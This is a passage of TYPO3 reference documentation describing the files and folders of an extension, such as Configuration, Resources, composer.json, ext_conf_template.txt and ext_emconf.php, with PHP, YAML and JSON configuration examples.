      • Page
      • User
    • TypoScript

      • Subfolder1
      • ...
      • constants.typoscript
      • setup.typoscript
    • Yaml

      • MySpecialConfig.yaml
      • MyFormSetup.yaml
    • Icons.php
    • page.tsconfig
    • RequestMiddlewares.php
    • Services.yaml
    • user.tsconfig

Sub folders of Configuration

Extension folder Configuration/Backend

The folder EXT:my_extension/Configuration/Backend/ may contain configuration that is important within the TYPO3 Backend.

All files in this directory are automatically included during the TYPO3 bootstrap.

Configuration/Backend/AjaxRoutes.php

AjaxRoutes.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Backend/AjaxRoutes.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/Backend/AjaxRoutes.php

In this file routes for Ajax requests that should be used in the backend can be defined.

Read more about Using Ajax in the backend.

EXT:my_extension/Configuration/Backend/AjaxRoutes.php
<?php
return [
    'example_dosomething' => [
        'path' => '/example/do-something',
        'target' => \Vendor\MyExtension\Controller\ExampleController::class . '::doSomethingAction',
    ],
];
Copied!

Configuration/Backend/Routes.php

Routes.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Backend/Routes.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/Backend/Routes.php

This file maps the URI paths used in the backend to the controller that should be used.

Most backend routes defined in the TYPO3 core can be found in the following file, which you can use as example:

EXT:backend/Configuration/Backend/Routes.php (GitHub)

Read more about Backend routing.

Configuration/Backend/Modules.php

Modules.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Backend/Modules.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/Backend/Modules.php

This file is used for the Backend module configuration. See that chapter for details.

Extbase

This configuration folder can contain the following subfolders:

Sub folders of Configuration/Extbase

Persistence

This folder can contain the following files:

Configuration/Extbase/Persistence/Classes.php/Classes.php

Classes.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Extbase/Persistence/Classes.php/Classes.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/Extbase/Persistence/Classes.php/Classes.php

In the file EXT:my_extension/Configuration/Extbase/Persistence/Classes.php the mapping between a database table and its model can be configured. The mapping in this file overrides the automatic mapping by naming convention.

Extension folder Configuration/Sets

New in version 13.1

In this directory TYPO3 extensions can provide their Site sets.

Each set must be saved in its own directory and have at least a file called config.yaml.

config.yaml

config.yaml
Scope
set
Path (Composer)
packages/my_extension/Configuration/Sets/MySet/config.yaml
Path (Classic)
typo3conf/ext/my_extension/Configuration/Sets/MySet/config.yaml

Contains the definition of a site set and its dependencies.

Example:

EXT:site_package/Configuration/Sets/SitePackage/config.yaml
name: t3docs/site-package
label: 'Site Package'
dependencies:
  - typo3/fluid-styled-content
  - typo3/fluid-styled-content-css
Copied!

settings.yaml

settings.yaml
Scope
set
Path (Composer)
packages/my_extension/Configuration/Sets/MySet/settings.yaml
Path (Classic)
typo3conf/ext/my_extension/Configuration/Sets/MySet/settings.yaml

In this file an extension can override settings defined by other sets. For example Settings provided by site set "Fluid Styled Content":

EXT:site_package/Configuration/Sets/SitePackage/settings.yaml
styles:
    templates:
        layoutRootPath: EXT:site_package/Resources/Private/ContentElements/Layouts
        partialRootPath: EXT:site_package/Resources/Private/ContentElements/Partials
        templateRootPath: EXT:site_package/Resources/Private/ContentElements/Templates
    content:
        textmedia:
            maxW: 1200
            maxWInText: 600
            linkWrap:
                lightboxEnabled: true
                lightboxCssClass: lightbox
Copied!

settings.definitions.yaml

settings.definitions.yaml
Scope
set
Path (Composer)
packages/my_extension/Configuration/Sets/MySet/settings.definitions.yaml
Path (Classic)
typo3conf/ext/my_extension/Configuration/Sets/MySet/settings.definitions.yaml

In this file an extension can define its own settings: Site settings definitions.

setup.typoscript

setup.typoscript
Scope
set
Path (Composer)
packages/my_extension/Configuration/Sets/MySet/setup.typoscript
Path (Classic)
typo3conf/ext/my_extension/Configuration/Sets/MySet/setup.typoscript

This file contains the Frontend TypoScript that the set should provide. If the extension keeps its TypoScript in folder TypoScript for backward compatibility reasons this file should contain an import of file Configuration/TypoScript/setup.typoscript for the main set of the extension:

EXT:my_extension/Configuration/Sets/MySet/setup.typoscript
# For backward compatibility reasons setup.typoscript was not moved
@import 'EXT:my_extension/Configuration/TypoScript/setup.typoscript'
Copied!

constants.typoscript

constants.typoscript
Scope
set
Path (Composer)
packages/my_extension/Configuration/Sets/MySet/constants.typoscript
Path (Classic)
typo3conf/ext/my_extension/Configuration/Sets/MySet/constants.typoscript

This file contains the Frontend TypoScript Constants that the set should provide. This file can be used if your extension depends on other extensions that still rely on TypoScript constants.

page.tsconfig

page.tsconfig
Scope
set
Path (Composer)
packages/my_extension/Configuration/Sets/MySet/page.tsconfig
Path (Classic)
typo3conf/ext/my_extension/Configuration/Sets/MySet/page.tsconfig

This file contains the Page TSconfig (backend TypoScript) that the set should provide.

Extension folder Configuration/TCA

The folder EXT:my_extension/Configuration/TCA/ may contain or override TCA (Table Configuration Array) data.

All files in this directory are automatically included during the TYPO3 bootstrap.

Files within Configuration/TCA/ files are loaded within a dedicated scope. This means that variables defined in those files cannot leak to any other TCA file during the TCA compilation process.

Configuration/TCA/<tablename>.php

Configuration/TCA/tablename.php

tablename.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/TCA/tablename.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/TCA/tablename.php

One file per database table, using the name of the table for the file, plus ".php". Only for new tables, provided by the extension itself. Must not be used to change existing tables provided by other extensions.

Configuration/TCA/Overrides/somefile.php

Configuration/TCA/Overrides/somefile.php

somefile.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/TCA/Overrides/somefile.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/TCA/Overrides/somefile.php

For extending existing tables.

General advice: One file per database table, using the name of the table for the file, plus .php. For more information, see the chapter Extending the TCA array.

TsConfig

New in version 13.1

Configuration/TsConfig/Page/something.tsconfig

something.tsconfig
Scope
extension
Path (Composer)
packages/my_extension/Configuration/TsConfig/Page/something.tsconfig
Path (Classic)
typo3conf/ext/my_extension/Configuration/TsConfig/Page/something.tsconfig

page TSconfig, see chapter 'page TSconfig' in the TSconfig Reference. Files should have the file extension .tsconfig.

Configuration/TsConfig/User/something.tsconfig

something.tsconfig
Scope
extension
Path (Composer)
packages/my_extension/Configuration/TsConfig/User/something.tsconfig
Path (Classic)
typo3conf/ext/my_extension/Configuration/TsConfig/User/something.tsconfig

User TSconfig, see chapter 'user TSconfig' in the TSconfig Reference. Files must have the file extension .tsconfig.

TypoScript

Changed in version 13.1

TypoScript constants should be stored in a file called constants.typoscript and TypoScript setup in a file called setup.typoscript.

Configuration/TypoScript/constants.typoscript

constants.typoscript
Scope
extension
Path (Composer)
packages/my_extension/Configuration/TypoScript/constants.typoscript
Path (Classic)
typo3conf/ext/my_extension/Configuration/TypoScript/constants.typoscript

Configuration/TypoScript/setup.typoscript

setup.typoscript
Scope
extension
Path (Composer)
packages/my_extension/Configuration/TypoScript/setup.typoscript
Path (Classic)
typo3conf/ext/my_extension/Configuration/TypoScript/setup.typoscript

These two files are made available for inclusion in TypoScript records with ExtensionManagementUtility::addStaticFile in the file Configuration/TCA/Overrides/sys_template.php:

EXT:my_extension/Configuration/TCA/Overrides/sys_template.php
<?php

use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

ExtensionManagementUtility::addStaticFile(
    'my_extension',
    'Configuration/TypoScript/',
    'Examples TypoScript',
);
Copied!

It is also possible to use subfolders or a differently named folder. The file names have to stay exactly the same including case.

ContentSecurityPolicies.php

Configuration/ContentSecurityPolicies.php

ContentSecurityPolicies.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/ContentSecurityPolicies.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/ContentSecurityPolicies.php

This file provides Content Security Policies for frontend and backend.

For details see the chapter about Extension-specific Content Security Policy.

Icons.php

Configuration/Icons.php

Icons.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Icons.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/Icons.php

In this file custom icons can be registered in the \TYPO3\CMS\Core\Imaging\IconRegistry .

See the Icon API for details.

EXT:my_extension/Configuration/Icons.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Imaging\IconProvider\BitmapIconProvider;
use TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider;

return [
    // Icon identifier
    'tx-myext-svgicon' => [
        // Icon provider class
        'provider' => SvgIconProvider::class,
        // The source SVG for the SvgIconProvider
        'source' => 'EXT:my_extension/Resources/Public/Icons/mysvg.svg',
    ],
    'tx-myext-bitmapicon' => [
        'provider' => BitmapIconProvider::class,
        // The source bitmap file
        'source' => 'EXT:my_extension/Resources/Public/Icons/mybitmap.png',
        // All icon providers provide the possibility to register an icon that spins
        'spinning' => true,
    ],
    'tx-myext-anothersvgicon' => [
        'provider' => SvgIconProvider::class,
        'source' => 'EXT:my_extension/Resources/Public/Icons/anothersvg.svg',
        // Since TYPO3 v12.0 an extension that provides icons for broader
        // use can mark such icons as deprecated with logging to the TYPO3
        // deprecation log. All keys (since, until, replacement) are optional.
        'deprecated' => [
            'since' => 'my extension v2',
            'until' => 'my extension v3',
            'replacement' => 'alternative-icon',
        ],
    ],
];
Copied!

page.tsconfig

New in version 13.1

Configuration/page.tsconfig

page.tsconfig
Scope
extension
Path (Composer)
packages/my_extension/Configuration/page.tsconfig
Path (Classic)
typo3conf/ext/my_extension/Configuration/page.tsconfig

In this file global page TSconfig can be stored. It will be automatically included for all pages.

For details see Setting the page TSconfig globally.

EXT:some_extension/Configuration/page.tsconfig
TCEMAIN.linkHandler.page.configuration.pageIdSelector.enabled = 1
Copied!

RequestMiddlewares.php

Configuration/RequestMiddlewares.php

RequestMiddlewares.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/RequestMiddlewares.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/RequestMiddlewares.php

Configuration of custom middleware for frontend and backend. Extensions that add middleware or disable existing middleware are configured in this file. The file must return an array with the configuration.

See Configuring middlewares for details.

EXT:some_extension/Configuration/RequestMiddlewares.php
return [
    'frontend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\ConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
    'backend' => [
        'middleware-identifier' => [
            'target' => \Vendor\SomeExtension\Middleware\AnotherConcreteClass::class,
            'before' => [
                'another-middleware-identifier',
            ],
            'after' => [
                'yet-another-middleware-identifier',
            ],
        ],
    ],
];
Copied!

Services.yaml

It is possible to use a YAML or PHP format:

Configuration/Services.yaml

Services.yaml
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Services.yaml
Path (Classic)
typo3conf/ext/my_extension/Configuration/Services.yaml

Configuration/Services.php

Services.php
Scope
extension
Path (Composer)
packages/my_extension/Configuration/Services.php
Path (Classic)
typo3conf/ext/my_extension/Configuration/Services.php

Services can be configured in this file. TYPO3 uses it for:

EXT:my_extension/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  T3docs\Examples\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  MyVendor\MyExtension\LinkValidator\LinkType\ExampleLinkType:
    tags:
      -  name: linkvalidator.linktype
Copied!

user.tsconfig

New in version 13.0

Configuration/user.tsconfig

user.tsconfig
Scope
extension
Path (Composer)
packages/my_extension/Configuration/user.tsconfig
Path (Classic)
typo3conf/ext/my_extension/Configuration/user.tsconfig

In this file global user TSconfig can be stored. It will be automatically included for the whole TYPO3 installation during build time.

For details see Setting the user TSconfig globally.

EXT:my_extension/Configuration/user.tsconfig
page.TCEMAIN.table.pages.disablePrependAtCopy = 1
Copied!

Documentation

Contains the extension documentation in ReStructuredText (ReST, .rst) format. Read more on the topic in chapter extension documentation. Documentation/ and its sub folders may contain several ReST files, images and other resources.

Resources

Contains the sub folders Public/ and Private/, which contain resources, possibly in further subfolders.

Only files in the folder Public/ should be publicly accessible. All resources that only get accessed by the web server (templates, language files, etc.) go to the folder Private/.

Private

This folder contains resources that are needed when rendering a page but are not needed directly by the browser. This includes:

  • Fluid templates
  • Language files
  • Files for the compilation of assets like SCSS or TypeScript

Fluid templates in the folder Resources/Private

Fluid templates are commonly stored in a folder called Resources/Private/Templates. The concrete location of templates is configurable via:

Common locations for Fluid templates in TYPO3 extensions with plugins:

Resources/Private/Templates/[ControllerName]/[ActionName].html

[ActionName].html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/Templates/[ControllerName]/[ActionName].html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/Templates/[ControllerName]/[ActionName].html

Folder Templates often contains the Fluid templates for a TYPO3 extensions plugins. In Extbase they are stored in a folder with the name of the controller class (without Controller ending), for example the NewsController.php has the template for action "view" in /Resources/Private/Templates/News/View.html. Non-Extbase controllers can decide on how to use this folder.

Resources/Private/Partials/SomePartials.html

SomePartials.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/Partials/SomePartials.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/Partials/SomePartials.html

Folder Partials often contains the Fluid partials for a TYPO3 extension. These can be included via the Render ViewHelper <f:render> into the main Fluid template.

Resources/Private/Layouts/SomeLayout.html

SomeLayout.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/Layouts/SomeLayout.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/Layouts/SomeLayout.html

Folder Layouts often contains the Fluid layouts for a TYPO3 extension. These can be included via the Layout ViewHelper <f:layout> into the main Fluid template.

Common Fluid template locations for the page view in site packages

Commonly site package in TYPO3 v13 and above use the PAGEVIEW TypoScript object to display the HTML page output. They have one folder, commonly PageView or Templates in folder Resources/Private with the subfolders Pages, Partials and Layouts (they cannot be renamed).

Resources/Private/PageView/Pages/MyPageLayout.html

MyPageLayout.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/PageView/Pages/MyPageLayout.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/PageView/Pages/MyPageLayout.html

This folder contains one Fluid template for each page layout defined in the site package. See Site package Tutorial, the page view.

Resources/Private/PageView/Partials/SomePartials.html

SomePartials.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/PageView/Partials/SomePartials.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/PageView/Partials/SomePartials.html

Folder Partials contains the Fluid partials used by the page view. These can be included via the Render ViewHelper <f:render> into the page view template.

Resources/Private/PageView/Layouts/SomeLayout.html

SomeLayout.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/PageView/Layouts/SomeLayout.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/PageView/Layouts/SomeLayout.html

Folder Layouts often contains the Fluid layout(s) used by the page view. These can be included via the Layout ViewHelper <f:layout> into the page view template.

Common locations to override Fluid-Styled content elements

Templates to override or extend Fluid-Styled Content based content objects are typically stored in a folder called /Resources/Private/ContentElements. This needs to be configured via setting styles.templates.templateRootPath etc. to work. See also Site Package Tutorial: Overriding the default templates of content elements.

Resources/Private/ContentElements/Pages/SomeContentElement.html

SomeContentElement.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/ContentElements/Pages/SomeContentElement.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/ContentElements/Pages/SomeContentElement.html

This folder contains one Fluid template for each content element type defined in the site package.

Resources/Private/ContentElements/Partials/SomePartials.html

SomePartials.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/ContentElements/Partials/SomePartials.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/ContentElements/Partials/SomePartials.html

Typically overrides the Fluid-Styled Content partials.

Resources/Private/ContentElements/Layouts/Default.html

Default.html
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/ContentElements/Layouts/Default.html
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/ContentElements/Layouts/Default.html

Overrides the default layout originally defined in vendor/typo3/cms-fluid-styled-content/Resources/Private/Layouts/Default.html. It is possible to define additional custom layouts that can be included via the Layout ViewHelper <f:layout> into content element templates.

Language

Contains Language resources.

In the folder EXT:my_extension/Resources/Private/Languages/ language files are stored in format .xlf.

This folder contains all language labels supplied by the extension in the default language English.

If the extension should provide additional translations into custom languages, they can be stored in language files of the same name with a language prefix. The German translation of the file locallang.xlf must be stored in the same folder in a file called de.locallang.xlf, the French translation in fr.locallang.xlf. If the translations are stored in a different file name they will not be found.

Any arbitrary file name with ending .xlf can be used. The following file names are commonly used:

Resources/Private/Language/locallang.xlf

locallang.xlf
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/Language/locallang.xlf
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/Language/locallang.xlf

This file commonly contains translated labels to be used in the frontend.

In the templates of Extbase plugins all labels in the file EXT:my_extension/Resources/Private/Language/locallang.xlf can be accessed without using the complete path:

EXT:my_extension/Resources/Private/Templates/MyTemplate.html
<f:translate key="key1" extensionName="MyExtension"/>
Copied!

From other template contexts the labels can be used by using the complete LLL:EXT path:

EXT:my_extension/Resources/Private/Templates/MyTemplate.html
<f:translate key="LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:key1" />
Copied!

The documentation for the ViewHelper can be found at Translate ViewHelper <f:translate>.

Language labels to be used in PHP, TypoScript etc. must also be prefixed with the complete path.

Resources/Private/Language/locallang_db.xlf

locallang_db.xlf
Scope
extension
Path (Composer)
packages/my_extension/Resources/Private/Language/locallang_db.xlf
Path (Classic)
typo3conf/ext/my_extension/Resources/Private/Language/locallang_db.xlf

By convention, this file should contain all localized labels used for the TCA labels, descriptions etc.

These labels need to be always accessed by their complete path in the TCA configuration:

EXT:examples/Configuration/TCA/tx_examples_dummy.php
return [
   'ctrl' => [
       'title' => 'LLL:EXT:examples/Resources/Private/Language/locallang_db.xlf:tx_examples_dummy',
       // ...
   ],
   // ...
];
Copied!

Public

Public assets

Public assets used in extensions (files that should be delivered by the web server) must be located in the Resources/Public folder of the extension.

Prevent access to non public files

No extension file outside the folder Resources/Public may be accessed from outside the web server.

This can be achieved by applying proper access restrictions on the web server. See: Restrict HTTP access.

By using the Composer package helhum/typo3-secure-web <https://github.com/helhum/typo3-secure-web> all files except those that should be publicly available can be stored outside the servers web root.

Resources/Public/Icons/Extension.svg

Resources/Public/Icons/Extension.svg

Extension.svg
Scope
extension
Path (Composer)
packages/my_extension/Resources/Public/Icons/Extension.svg
Path (Classic)
typo3conf/ext/my_extension/Resources/Public/Icons/Extension.svg

Alternatives: Resources/Public/Icons/Extension.png, Resources/Public/Icons/Extension.gif

These file names are reserved for the extension icon, which will be displayed in the extension manager.

It must be in format SVG (preferred), PNG or GIF and should have at least 16x16 pixels.

Common subfolders

Resources/Public/Css
Any CSS file used by the extension.
Resources/Public/Images
Any image used by the extension.
Resources/Public/JavaScript
Any JS file used by the extension.

Tests

This folder contains all automatic tests to test the extension.

Read more about automatic testing

Tests/Unit
Contains unit tests and fixtures.
Tests/Functional
Contains functional tests and fixtures.

composer.json

-- required in Composer-based installations

composer.json

composer.json
Scope
extension
Path (Composer)
packages/my_extension/composer.json
Path (Classic)
typo3conf/ext/my_extension/composer.json

Introduction

Composer is a tool for dependency management in PHP. It allows you to declare the libraries your extension depends on and it will manage (install/update) them for you.

Packagist is the main Composer repository. It aggregates public PHP packages installable with Composer. Composer packages can be published by the package maintainers on Packagist to be installable in an easy way via the composer require command.

About the composer.json file

Including a composer.json is strongly recommended for a number of reasons:

  1. The file composer.json is required for documentation that should appear on docs.typo3.org.

    See Migration: From Sphinx to PHP-based rendering for more information on the necessary changes for rendering of extension documentation.

  2. Working with Composer in general is strongly recommended for TYPO3.

    If you are not using Composer for your projects yet, see Migrate a TYPO3 project to Composer in the "Upgrade Guide".

Minimal composer.json

This is a minimal composer.json for a TYPO3 extension:

  • The vendor name is MyVendor.
  • The extension key is my_extension.

Subsequently:

  • The PHP namespace will be \MyVendor\MyExtension
  • The Composer package name will be my-vendor/my-extension
EXT:my_extension/composer.json
{
    "name": "my-vendor/my-extension",
    "type": "typo3-cms-extension",
    "description": "An example extension",
    "license": "GPL-2.0-or-later",
    "require": {
        "typo3/cms-core": "^12.4 || ^13.4"
    },
    "autoload": {
        "psr-4": {
            "MyVendor\\MyExtension\\": "Classes/"
        }
    },
    "extra": {
        "typo3/cms": {
            "extension-key": "my_extension"
        }
    }
}
Copied!

The ordering of installed extensions and their dependencies are loaded from the composer.json file, instead of ext_emconf.php in Composer-based installations.

Extended composer.json

EXT:my_extension/composer.json
{
    "name": "my-vendor/my-extension",
    "type": "typo3-cms-extension",
    "description": "An example extension",
    "license": "GPL-2.0-or-later",
    "require": {
        "php": "^8.1",
        "typo3/cms-backend": "^12.4 || ^13.4",
        "typo3/cms-core": "^12.4 || ^13.4"
    },
    "require-dev": {
        "typo3/coding-standards": "^0.7.1"
    },
    "authors": [
        {
            "name": "John Doe",
            "role": "Developer",
            "email": "john.doe@example.org",
            "homepage": "https://johndoe.example.org/"
        }
    ],
    "keywords": [
        "typo3",
        "blog"
    ],
    "support": {
        "issues": "https://example.org/my-issues-tracker"
    },
    "funding": [
        {
            "type": "other",
            "url:": "https://example.org/funding/my-vendor"
        }
    ],
    "autoload": {
        "psr-4": {
            "MyVendor\\MyExtension\\": "Classes/"
        }
    },
    "extra": {
        "typo3/cms": {
            "extension-key": "my_extension"
        }
    }
}
Copied!

Properties

name

(required)

The name has the format: <my-vendor>/<dashed extension key>. "Dashed extension key" means that every underscore (_) has been changed to a dash (-). You must be owner of the vendor name and should register it on Packagist. Typically, the name will correspond to your namespaces used in the Classes/ folder, but with different uppercase / lowercase spelling, for example: The PHP namespace \JohnDoe\SomeExtension may be johndoe/some-extension in composer.json.

description

(required)

Description of your extension (1 line).

type

(required)

Use typo3-cms-extension for third-party extensions. The Resources/Public/ folder will be symlinked into the _assets/ folder of your web root.

Additionally, typo3-cms-framework is available for system extensions.

See typo3/cms-composer-installers (required by typo3/cms-core).

license

(recommended)

Has to be GPL-2.0-only or GPL-2.0-or-later. See: https://typo3.org/project/licenses/.

require

(required)

At least, you will need to require typo3/cms-core in the according version(s). You should add other system extensions and third-party extensions, if your extension depends on them.

In Composer-based installations the loading order of extensions and their dependencies is derived from require and suggest.

suggest

You should add other system extensions and third-party extensions, if your extension has an optional dependency on them.

In Composer-based installations the loading order of extensions and their dependencies is derived from require and suggest.

autoload

(required)

The autoload section defines the namespace/path mapping for PSR-4 autoloading <https://www.php-fig.org/psr/psr-4/>. In TYPO3 we follow the convention that all classes (except test classes) are in the directory Classes/.

extra.typo3/cms.extension-key

(required)

Not providing this property will emit a deprecation notice and will fail in future versions.

Example for extension key my_extension:

Excerpt of EXT:my_extension/composer.json
{
    "extra": {
        "typo3/cms": {
            "extension-key": "my_extension"
        }
    }
}
Copied!

Properties no longer used

replace with typo3-ter vendor name

Excerpt of EXT:my_extension/composer.json
{
    "replace": {
        "typo3-ter/my-extension": "self.version"
    }
}
Copied!

This was used previously as long as the TER Composer Repository was relevant. Since the TER Composer Repository is deprecated, the typo3-ter/* entry within replace is not required.

replace with "ext_key": "self.version"

Excerpt of EXT:my_extension/composer.json
{
    "replace": {
        "ext_key": "self.version"
    }
}
Copied!

This was used previously, but is not compatible with latest Composer versions and will result in a warning using composer validate or result in an error with Composer version 2.0+:

Deprecation warning: replace.ext_key is invalid, it should have a vendor name, a forward slash, and a package name.
The vendor and package name can be words separated by -, . or _. The complete name should match
"^[a-z0-9]([_.-]?[a-z0-9]+)*/[a-z0-9](([_.]?|-{0,2})[a-z0-9]+)*$".
Make sure you fix this as Composer 2.0 will error.
Copied!

See comment on helhum/composer.json and revisions on helhum/composer.json.

More Information

Not TYPO3-specific:

TYPO3-specific:

  • The section on testing (in this manual) contains further information about adding additional properties to composer.json that are relevant for testing.
  • The Composer plugin (not extension) typo3/cms-composer-installers is responsible for TYPO3-specific Composer installation. Reading the README file and source code can be helpful to understand how it works.

ext_conf_template.txt

ext_conf_template.txt

ext_conf_template.txt
Scope
extension
Path (Composer)
packages/my_extension/ext_conf_template.txt
Path (Classic)
typo3conf/ext/my_extension/ext_conf_template.txt

In the ext_conf_template.txt file configuration options for an extension can be defined. They will be accessible in the TYPO3 backend from Admin Tools > Settings module.

Syntax

There's a specific syntax to declare these options properly, which is similar to the one used for TypoScript constants (see "Declaring constants for the Constant editor" in Constants section in TypoScript Reference. This syntax applies to the comment line that should be placed just before the constant. Consider the following example (taken from system extension "backend"):

# cat=Login; type=string; label=Logo: If set, this logo will be used instead of...
loginLogo =
Copied!

First a category (cat) is defined ("Login"). Then a type is given ("string") and finally a label, which is itself split (on the colon ":") into a title and a description. The Label should actually be a localized string, like this:

# cat=Login; type=string; label=LLL:EXT:my_extension_key/Resources/Private/Language/locallang_be.xlf:loginLogo
loginLogo =
Copied!

The above example will be rendered like this in the Settings module:

Configuration screen for the backend extension

The configuration tab displays all options from a single category. A selector is available to switch between categories. Inside an option screen, options are grouped by subcategory. At the bottom of the screenshot, the label – split between header and description – is visible. Then comes the field itself, in this case an input, because the option's type is "string".

Available option types

Option type Description
boolean checkbox
color colorpicker
int integer value
int+ positive integer value
integer integer value
offset offset
options option select
small small text field
string text field
user user function
wrap wrap field

Option select can be used as follows:

# cat=basic/enable/050; type=options[label1=value1,label2=value2,value3]; label=MyLabel
myVariable = value1
Copied!

"label1", "label2" and "label3" can be any text string. Any integer or string value can be used on the right side of the equation sign "=".

Where user functions have to be written the following way:

# cat=basic/enable/050; type=user[Vendor\MyExtensionKey\ViewHelpers\MyConfigurationClass->render]; label=MyLabel
myVariable = 1
Copied!

Accessing saved options

When saved in the Settings module, the configuration will be kept in the config/system/settings.php file and is available as array $GLOBALS['TYPO3_CONF_VARS']['EXTENSIONS']['my_extension_key'] .

To retrieve the configuration use the API provided by the \TYPO3\CMS\Core\Configuration\ExtensionConfiguration class via constructor injection:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Configuration\ExtensionConfiguration;

final class MyClass
{
    public function __construct(
        private readonly ExtensionConfiguration $extensionConfiguration,
    ) {}

    public function doSomething()
    {
        // ...

        $myConfiguration = $this->extensionConfiguration
            ->get('my_extension_key');

        // ...
    }
}
Copied!

This will return the whole configuration as an array.

To directly fetch specific values like myVariable from the example above:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\MyClass;

use TYPO3\CMS\Core\Configuration\ExtensionConfiguration;

final class MyClass
{
    public function __construct(
        private readonly ExtensionConfiguration $extensionConfiguration,
    ) {}

    public function doSomething()
    {
        // ...

        $myVariable = $this->extensionConfiguration
            ->get('my_extension_key', 'myVariable');

        // ...
    }
}
Copied!

Nested structure

You can also define nested options using the TypoScript notation:

EXT:some_extension/ext_conf_template.txt
directories {
   # cat=basic/enable; type=string; label=Path to the temporary directory
   tmp =
   # cat=basic/enable; type=string; label=Path to the cache directory
   cache =
}
Copied!

This will result in a multidimensional array:

Example output of method ExtensionConfiguration->get()
$extensionConfiguration['directories']['tmp']
$extensionConfiguration['directories']['cache']
Copied!

ext_emconf.php

required in Classic mode installations, for functional tests and to upload an extension to the TER (TYPO3 Extension Repository)

ext_emconf.php

ext_emconf.php
Scope
extension
Path (Composer)
packages/my_extension/ext_emconf.php
Path (Classic)
typo3conf/ext/my_extension/ext_emconf.php

The ext_emconf.php is used in Classic mode installations not based on Composer to supply information about an extension in the Admin Tools > Extensions module. In these installations the ordering of installed extensions and their dependencies are loaded from this file as well.

It is also needed for Writing functional tests with the typo3/testing-framework <https://github.com/TYPO3/testing-framework> in v8 and earlier.

In Composer-based installations, the ordering of installed extensions and their dependencies is loaded from the composer.json file, instead of ext_emconf.php

The only content included is an associative array, $EM_CONF[extension key]. The keys are described in the table below.

This file is overwritten when extensions are imported from the online repository. So do not write your custom code into this file - only change values in the $EM_CONF array if needed.

Example:

packages/my_extension/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Extension title',
    'description' => 'Extension description',
    'category' => 'plugin',
    'author' => 'John Doe',
    'author_email' => 'john.doe@example.org',
    'author_company' => 'some company',
    'state' => 'stable',
    'version' => '1.0.0',
    'constraints' => [
        'depends' => [
            'typo3' => '13.4.0-13.4.99',
        ],
        'conflicts' => [
        ],
        'suggests' => [
        ],
    ],
];
Copied!

title

title
Type
string, required

The name of the extension in English.

description

description
Type
string, required

Short and precise description in English of what the extension does and for whom it might be useful.

version

version
Type
string

Version of the extension. Automatically managed by extension manager / TER. Format is [int].[int].[int]

category

category
Type
string

Which category the extension belongs to:

be
Backend (Generally backend-oriented, but not a module)
module
Backend modules (When something is a module or connects with one)
fe
Frontend (Generally frontend oriented, but not a "true" plugin)
plugin
Frontend plugins (Plugins inserted as a "Insert Plugin" content element)
misc
Miscellaneous stuff (Where not easily placed elsewhere)
services
Contains TYPO3 services
templates
Contains website templates
example
Example extension (Which serves as examples etc.)
doc
Documentation (e.g. tutorials, FAQ's etc.)
distribution
Distribution, an extension kick starting a full site

constraints

constraints
Type
array

List of requirements, suggestions or conflicts with other extensions or TYPO3 or PHP version. Here is how a typical setup might look:

packages/my_extension/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Extension title',
    // ...
    'constraints' => [
        'depends' => [
            'typo3' => '13.4.0-13.4.99',
            'php' => '8.2.0-8.4.99',
        ],
        'conflicts' => [
            'tt_news' => '',
        ],
        'suggests' => [
            'news' => '12.1.0-12.99.99',
        ],
    ],
];
Copied!
depends
List of extensions that this extension depends on. Extensions defined here will be loaded before the current extension.
conflicts
List of extensions which will not work with this extension.
suggests
